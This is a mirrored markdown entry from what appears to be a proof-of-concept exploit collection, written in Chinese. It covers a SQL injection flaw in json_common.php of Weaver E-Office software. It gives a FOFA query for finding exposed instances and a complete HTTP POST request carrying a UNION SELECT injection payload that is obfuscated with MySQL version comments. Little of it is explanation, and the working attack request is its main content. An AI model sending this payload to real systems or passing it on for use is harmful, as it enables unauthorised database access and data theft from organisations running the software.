mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-30 06:24:42 +00:00
27 lines
1.1 KiB
Markdown
27 lines
1.1 KiB
Markdown
## 泛微E-Office-json_common.phpSQL注入漏洞
|
||
|
||
作为协同管理软件行业的领军企业，泛微有业界优秀的协同管理软件产品。在企业级移动互联大潮下，泛微发布了全新的以“移动化 社交化 平台化 云端化”四化为核心的全一代产品系列，其中泛微e-office为企业办公提供丰富应用，覆盖常见协作场景，开箱即用。满足人事、行政、财务、销售、运营、市场等不同部门协作需求，帮助组织高效人事管理。系统 json_common.php 文件存在SQL注入漏洞，容易导致数据泄露以及被远控。
|
||
|
||
## fofa
|
||
|
||
```
|
||
app="泛微-EOffice"
|
||
```
|
||
|
||
## poc
|
||
|
||
```
|
||
POST /building/json_common.php HTTP/1.1
|
||
Host: 192.168.86.128:8097
|
||
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
|
||
Connection: close
|
||
Content-Length: 87
|
||
Accept: */*
|
||
Accept-Language: en
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Accept-Encoding: gzip
|
||
|
||
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
|
||
```
|
||
|